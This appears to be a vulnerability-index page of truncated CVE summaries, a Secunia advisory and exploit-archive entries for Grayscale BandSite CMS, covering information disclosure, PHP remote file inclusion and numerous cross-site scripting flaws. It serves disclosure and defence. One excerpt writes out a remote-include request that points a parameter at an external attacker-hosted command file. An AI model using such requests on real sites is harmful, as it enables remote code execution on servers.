CVE-2006-4986

CVE-2006-4986 affects Grayscale BandSite CMS. The connected documents confirm an information-disclosure vulnerability: an attacker can remotely obtain sensitive data by directly requesting a wide range of files across the site, including (1) files in includes/content, (2) includes/shows_preview.p...

CVE-2006-4986

Grayscale BandSite CMS allows remote attackers to obtain sensitive information via a direct request for 1 certain files in the includes/content directory, 2 includes/showspreview.php, and 3 adminpanel/configform.php; and files in adminpanel/includes/ including 4 mailinglist/disphtmltbl.php, 5...

CVE-2006-4984

Multiple PHP remote file inclusion vulnerabilities in Grayscale BandSite CMS allow remote attackers to execute arbitrary PHP code via a URL in the GLOBALSrootpath parameter in 1 adminpanel/includes/mailinglist/mlistxls.php and 2 adminpanel/includes/addforms/addmp3.php. NOTE: the other vectors fro...

CVE-2006-4985

Grayscale BandSite CMS is affected by multiple cross-site scripting (XSS) vulnerabilities identified as CVE-2006-4985. The description enumerates numerous injectable points across the admin panel and content modules, including: (1) max_file_size_purdy in adminpanel/includes/helpfiles/help_mp3.php...

CVE-2006-4984

Grayscale BandSite CMS is affected by CVE-2006-4984, a PHP remote file inclusion vulnerability. The issue allows an attacker to execute arbitrary PHP code via a URL passed in the GLOBALS[root_path] parameter to two vulnerable scripts: adminpanel/includes/mailinglist/mlist_xls.php and adminpanel/i...

[SA21992] BandSite CMS Cross-Site Scripting Vulnerabilities

TITLE: BandSite CMS Cross-Site Scripting Vulnerabilities SECUNIA ADVISORY ID: SA21992 VERIFY ADVISORY: http://secunia.com/advisories/21992/ CRITICAL: Less critical IMPACT: Cross Site Scripting WHERE: From remote SOFTWARE: BandSite CMS 1.x http://secunia.com/product/10599/ DESCRIPTION: HACKERS PAL...

Grayscale BandSite CMS Multiple Input Validation Vulnerabilities

Hello,, Grayscale BandSite CMS Multiple Input Validation Vulnerabilities Discovered By : HACKERS PAL Copy rights : HACKERS PAL Website : http://www.soqor.net Email Address : [email protected] Romote Include includes/content/contactcontent.php?GLOBALSrootpath=http://psevil.googlepages.com/cmd.txt...

BandSite CMS 1.1 - footer.php Cross-Site Scripting

BandSite CMS 1.1 - footer.php Cross-Site Scripting source: https://www.securityfocus.com/bid/20137/info Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data. These issues may allow an attacker to access...

BandSite CMS 1.1 - reviews_content.php Cross-Site Scripting

BandSite CMS 1.1 - reviewscontent.php Cross-Site Scripting source: https://www.securityfocus.com/bid/20137/info Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data. These issues may allow an attacker to...

BandSite CMS 1.1 - news_content.php Cross-Site Scripting

BandSite CMS 1.1 - newscontent.php Cross-Site Scripting source: https://www.securityfocus.com/bid/20137/info Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data. These issues may allow an attacker to acces...

BandSite CMS 1.1 - help_mp3.php Cross-Site Scripting

BandSite CMS 1.1 - helpmp3.php Cross-Site Scripting source: https://www.securityfocus.com/bid/20137/info Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data. These issues may allow an attacker to access...

BandSite CMS 1.1 - links_content.php Cross-Site Scripting

BandSite CMS 1.1 - linkscontent.php Cross-Site Scripting source: https://www.securityfocus.com/bid/20137/info Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data. These issues may allow an attacker to acce...

BandSite CMS 1.1 - help_merch.php Cross-Site Scripting

BandSite CMS 1.1 - helpmerch.php Cross-Site Scripting source: https://www.securityfocus.com/bid/20137/info Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data. These issues may allow an attacker to access...

BandSite CMS 1.1 - releases_content.php Cross-Site Scripting

BandSite CMS 1.1 - releasescontent.php Cross-Site Scripting source: https://www.securityfocus.com/bid/20137/info Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data. These issues may allow an attacker to...

BandSite CMS 1.1 - mp3_content.php Cross-Site Scripting

BandSite CMS 1.1 - mp3content.php Cross-Site Scripting source: https://www.securityfocus.com/bid/20137/info Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data. These issues may allow an attacker to access...

BandSite CMS 1.1 - 'header.php' Cross-Site Scripting

source: https://www.securityfocus.com/bid/20137/info Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data. These issues may allow an attacker to access sensitive information, execute arbitrary server-side...

BandSite CMS 1.1 - 'help_mp3.php' Cross-Site Scripting

source: https://www.securityfocus.com/bid/20137/info Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data. These issues may allow an attacker to access sensitive information, execute arbitrary server-side...

BandSite CMS 1.1 - 'news_content.php' Cross-Site Scripting

source: https://www.securityfocus.com/bid/20137/info Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data. These issues may allow an attacker to access sensitive information, execute arbitrary server-side...

BandSite CMS 1.1 - 'photo_content.php' Cross-Site Scripting

source: https://www.securityfocus.com/bid/20137/info Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data. These issues may allow an attacker to access sensitive information, execute arbitrary server-side...

BandSite CMS 1.1 - 'shows_content.php' Cross-Site Scripting

source: https://www.securityfocus.com/bid/20137/info Grayscale BandSite CMS is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data. These issues may allow an attacker to access sensitive information, execute arbitrary server-side...